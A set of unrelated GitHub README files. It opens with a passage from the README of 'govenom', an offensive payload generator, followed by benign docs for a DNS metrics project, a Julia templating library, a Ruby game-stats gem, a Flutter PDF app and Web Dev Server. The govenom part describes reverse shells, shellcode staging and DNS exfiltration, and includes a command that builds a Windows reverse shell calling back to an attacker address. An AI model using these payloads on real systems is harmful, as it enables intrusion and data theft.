  to the target's network. The `socks5` server on the target
  system can only be accessed by connecting to the gateway listener
  opened by the govenom `gateway` tool.

## Tools

`govenom` also provides some tools to work with the payloads:

- **dnslogger:** The `dnslogger` tool decodes and recombines messages
  that were exfiltrated via DNS.

- **pusher:** The `pusher` tool can serve and deliver `meterpreter`
  shellcode generated using `msfvenom` to the `govenom` stager payload.

- **gateway:** the gateway for the `socks5` payload. It waits for
  the payload to connect back and starts a lister which forwards
  connection to the payload's `socks5` server and thus acts as a
  gateway into the target's network.

## Debug Exfiltration

Sometimes a shell you placed on target system does not appear to
connect back. Most of the time this results in a lot of trial and
error. Maybe the firewall blocks TCP connections or maybe just one
of the ports you tried. Maybe you expected `powershell` to be
present but only `cmd` is there. The solution to problem is the
`govenom` debug log exfiltration mechanism which can optionally be
used with `xrsh` and `stager` payloads. It lets you configure an
arbitrary amount of exfiltration strategies of the following types:

- **`stdout`/`stderr`:** If you can capture the output of your
  payload when it's executed, you can output debug logs via
  `stdout/stderr`.

- **DNS:** The most useful exfiltration type because noone blocks
  DNS. Messages are encoded and split into parts which can be put
  together again by the `govenom` tool `dnslogger` (see section
  below).

- **File:** Write the debug information into a file on the target
  system. This is for example useful if you can recover files via a
  local file inclusion vulnerability.

- **Net (`dial`):** Send the debug log via a TCP or UDP connection
  that's different from the original connect back connection.

## Building

`govenom` can be built in two ways. It either generate payloads
directly from the source code in the `./payloads` folder of this
repos or it can be built with the source code embedded such that
it works as a standalone binary. The binaries distributed with
releases are standalone binaries.

```bash
# build a govenom binary that uses the payload code
# directly from the repository
go build

# build a standalone govenom binary (see the standalone
# Makefile section for the commands to build on Windows)
make standalone
```

## Usage

Run `go run govenom.go` for detailed usage information. The following
example generates the extended reverse shell for a 32-Bit Windows
target that connects back to `<IP_ADDRESS>:1337` and uses multiple debug
exfiltration strategies:

```bash
# generate a payload
govenom payload xrsh -d <IP_ADDRESS>:1337 \
    --os windows --arch 386 \
    --exfil dns:example.com,stdout,dial:udp:<IP_ADDRESS>:1234 \
    -o revsh.exe

# run a tool
govenom tool dnslogger
```

**Note:** Go has to be installed to run `govenom` itself and it is
also used by `govenom` itself to build the selected payloads.

## FAQ:

---

**The `govenom` integrity cannot be verified on macOS**

macOS adds a quarantine attribute to downloaded binaries
which you can remove with the following command:

```
xattr -d com.apple.quarantine ./govenom
```

---

## Plans

- Connection encryption
- Reverse shell listener like `ncat` with logging capabilities
- Linux support for the `stager` payload

Thanks to [https://quasilyte.dev]() for the logo.

repository: erikgeiser/govenom

gha_language: Go

repo_name: erikgeiser/govenom


text:
# Metrics Work Plan

- Use mtric.net as domain name for RSSAC work
- Each vantage point (VP) is named `nnn`.mtric.net where `nnn` is a three-digit number
- Collector is named c00.mtric.net

## Deployment

- Deployed with Ansible
	- In `Ansible` directory in the repo
	- Files that are not part of the distribution are on `Local` directory in the repo
	- Create VPs first with `vps_building.yml`, then create collector with `collector_building.yml`
	- Creates users on collector with names transfer-xxx to receive files from the VPs

## Logging and alerts

- Logs are text files kept on VPs and collector
- Alerts are text files, monitored by Prometheus/Zabbix/etc. on collector
	- ~/Logs/nnn-alerts.txt on every machine
- All Python scripts have _die_ function that prints to alert logs

## Vantage points

- Each VP should have more than one core if possible
- All are running latest Debian
	- Thus automatically running NTP  `[ugt]`
- All programs run as "metrics" user
- Also has "tranfer" user for for the collector to copy data

- `vantage_point_metrics.py`
	- Is run from cron job every 5 minutes on 0, 5, ... `[wyn]` `[mba]` `[wca]`
	- All systems use UTC `[nms]`
	- Use `dig + yaml` from BIND 9.16.3
	- Checks for new root zone every 12 hours
	- Run `scamper` after queries to each source for both IPv4 and IPv6
	- Results of each run are saved as .pickle.gz to /sftp/transfer/Output for later pulling
	- Logs to ~/Logs/nnn-log.txt

- `watch_fp.py`
	- Run from cron every 5 minutes on 4, 9, ...
	- Alerts if no output from most recent run
	- Check for disk usage > 80%, alert if found

- Distribution of vantage points
	- Remind RSSAC Caucus of the previous discussion
	- Spin up a VM in every data center for North America, Asia, and Europe
	- Do traceroutes to two places
	- Ask if they need more or, if not, which to use

## Collector

- Run on a VM with lots of cores and memory
- Running Debian 10
	- Thus automatically running NTP  `[ugt]`
- All programs run as "metrics" user
- Also has "tranfer" user for others to copy data

- `get_root_zone.py`
	- Run from cron job every 15 minutes
	- Stores zones in ~/Output/RootZones for every SOA seen

- `collector_processing.py`
	- Run from cron job every hour
	- Use sftp to pull from all VPs to ~/Incoming
	- For each .gz file in ~/Incoming
		- Open file, store results in the database
		- Move file to ~/Originals/yyyymm/
	- Find records in the correctness table that have not been checked, and check them
	- Reports why any failure happens

- `make_tests.py`
	- Tests are run manually, probably once, to check whether the correctness tests in `collector_processing.py` is correct
	- Go to repo/Tests/, run `make_tests.py` to make all the negative tests
	- Run `collector_processing.py --test` to execute the tests
	- See the output in repo/Tests/results.txt

- `produce_reports.py`
	- Run from cron job every week, and on the first of each month
	- `--debug` to add debugging info to the report
	- `--force` to recreate a report that already exists
	- `--test_date` to pretend that it is a different date in order to make earlier reports

repository: paulehoffman/early-metrics

repo_name: paulehoffman/early-metrics


text:
# Release Notes

## v0.9.4

- Pull #27: Make IO Context available inside `<script>`

## v0.9.3

- Pull #18: Interpolating within a paired tags
- Pull #19: Fix bug where

 throws error
- Pull #20: Interpolating within self-closing tag

## v0.9.2

- Fix #17: Attribute interpolation bug

## v0.9.1

- Fix #16: Error interpolating unicode into JS

## v0.9.0

- Removing Javscript treatment from `on` attributes
- Exporting `htl` non-standard string literal
- In `htl` literal, doubling of `$` escapes `$`
- Continued review of documentation

## v0.8.0

- Restructructed documentation to improve navigation
- Specialize interpolation within Javascript valued attributes
- Ensure that `@htl` is passed a string literal (Fixed #11)
- Provide better CSS serialization within `<style>` tag

## v0.7.0

- Adding `<span>` as wrapper for default content interpolation
- Support `"text/javascript"` serialization within `<script>` tag (#10)
- Support `"text/css"` serialization within `<style>` tag
- Remove experimental support for nested non-standard string literals
- Documented how `@htl_str` can be used for dynamic templates

# v0.6.0

- Improved documentation
- Fixed lots of edge cases
- Interpolation within comment blocks

# v0.5.0

- Ensured that unicode works for templates

# v0.4.0

- Separate string literal vs macro
- No longer export string literal by default

# v0.3.0

- General refactoring for extensibility
- Converted to use an escape proxy
- Simplify attribute dispatch

# v0.2.0

- Added benchmarking test
- Significant perforamance enhancements
- Implemented via closures rather than objects

license: ISC

gha_language: Julia

gha_license_id: ISC


text:
### Status
[![Build Status](https://travis-ci.org/aelor/ruby-pubg.svg?branch=master)](https://travis-ci.org/aelor/ruby-pubg)
[![Gem Version](https://badge.fury.io/rb/ruby-pubg.svg)](https://badge.fury.io/rb/ruby-pubg)

# ruby-pubg

A ruby wrapper for the PLAYERUNKNOWN'S BATTLEGROUNDS stats API from https://pubgtracker.com.
Get details about the gem at https://rubygems.org/gems/ruby-pubg

## Installation

Add this line to your application's Gemfile:

```ruby
gem 'ruby-pubg'
```

And then execute:

    $ bundle

Or install it yourself as:

    $ gem install ruby-pubg

## Usage

#### Obtain API Key

Create an account at https://pubgtracker.com/site-api and request an API Key.

```ruby
#to initialize the client
client = Ruby::Pubg::Client.new('YOUR-API-KEY-HERE')
```
#### Start making calls
```ruby
#find nick name of user from steamid
client.find_name_by_steam_id('STEAMIDGOESHERE')

#find stats with the nick name
client.find_by_name('NAMEGOESHERE')

```

## Contributing

Bug reports and pull requests are welcome on GitHub at https://github.com/aelor/ruby-pubg. This project is intended to be a safe, welcoming space for collaboration, and contributors are expected to adhere to the [Contributor Covenant](http://contributor-covenant.org) code of conduct.

## License

The gem is available as open source under the terms of the [MIT License](http://opensource.org/licenses/MIT).

repository: aelor/ruby-pubg

repo_name: aelor/ruby-pubg


text:
# Escapist

A simple API that contains real escape game studio informations in Taiwan.

## Public API:

```
GET /api/v1/studios // get studio lists from DB

GET /api/v1/games // get game lists from DB
```

## User Registration and JWT authentication:

```
POST /api/v1/sign_up

{
  email: String,
  password: String
}

POST /api/v1/sign_in

{
  email: String,
  password: String
}

```

## TODO:

- User can vote up / down on games
- Add images to games and studios

repository: raviwu/escapist

repo_name: raviwu/escapist


text:
### How i built it
1. i used Flutter & dart to construct the UI of the application
2. data of the filename and filepath is stored in a sql database on the mobilephone locally using sql
3. i used a pdf engine(backend framework) to be able to generating and reading of the the pdf file
4. i used dart IO Operations to manage the renaming and the deleting of the unwanted files

### How to run the application
1. git clone the respository
2. ensure u have flutter sdk installed on your computer
3. navigate to folder directory of pdf_builder
4. open terminal on the current folder directory
5. type "flutter run" on the terminal and hit enter to run the emulator

** ensure to build the pubspec.yaml file dependencies first prior to running on the mobile app emulator **

## App Logo on IOS Homepage

## Mobile App Use
### Homepage

User creates a new PDF file by clicking on the plus button

### Create PDF By Filling Up a Form

1. Invoice Details
2. Contractor Details
3. Client Details
4. Service Details
user fills up the document via the four step process

### Confirmation Screens while creating the PDF

User can go back to the main or view the PDF screen.

### Updated UI Homepage (with the new PDF added)

### PDF Preview & Download Screen

User is able to view PDF and download / Send PDF to client

gha_language: Dart


text:
---
eleventyNavigation:
  key: Dev Server >> Overview
  title: Overview
  parent: Dev Server
  order: 1
---

# Web Dev Server

Web Dev Server helps developing for the web, using native browser features like es modules. It is ideal for buildless workflows, and has a plugin architecture for light code transformations.

- Efficient browser caching for fast reloads
- Transform code on older browsers for compatibility
- Resolve bare module imports for use in the browser (--node-resolve)
- Auto-reload on file changes with the (--watch)
- History API fallback for SPA routing (--app-index index.html)
- Plugin and middleware API for extensions
- Powered by [esbuild](plugins/esbuild.md) and [rollup plugins](plugins/rollup.md)

> Web Dev Server is the successor of [es-dev-server](https://www.npmjs.com/package/es-dev-server)

## Installation

Install Web Dev Server:

```
npm i --save-dev @web/dev-server
```

Then add the following to the `"scripts"` section in `package.json`:

```
"start": "web-dev-server --node-resolve --open --watch"
```

Or use the shorthand:

```
"start": "wds --node-resolve --open --watch"
```

Note, the examples below assume an npm script is used.

## Basic commands

Start the server:

```
web-dev-server --node-resolve --open
wds --node-resolve --open
```

Run in watch mode, reloading on file changes:

```
web-dev-server --node-resolve --watch --open
wds --node-resolve --watch --open
```

Use history API fallback for SPA routing:

```
web-dev-server --node-resolve --app-index demo/index.html --open
wds --node-resolve --app-index demo/index.html --open
```

Transform JS to a compatible syntax based on user agent:

```
web-dev-server --node-resolve --open --esbuild-target auto
wds --node-resolve --open --esbuild-target auto
```

## Example projects

Check out the example projects for a fully integrated setup.

repository: modernweb-dev/web

gha_language: TypeScript

repo_name: modernweb-dev/web


text:
[![Dart CI](https://github.com/kevmoo/build_cli/actions/workflows/dart.yml/badge.svg?branch=master)](https://github.com/kevmoo/build_cli/actions/workflows/dart.yml?query=workflow%3Adart+branch%3Amaster)
[![Pub package](https://img.shields.io/pub/v/build_cli_annotations.svg)](https://pub.dev/packages/build_cli_annotations)
[![package publisher](https://img.shields.io/pub/publisher/build_cli_annotations.svg)](https://pub.dev/packages/build_cli_annotations/publisher)

Contains annotations for [`package:build_cli`](https://pub.dev/packages/build_cli).

See that package for more information.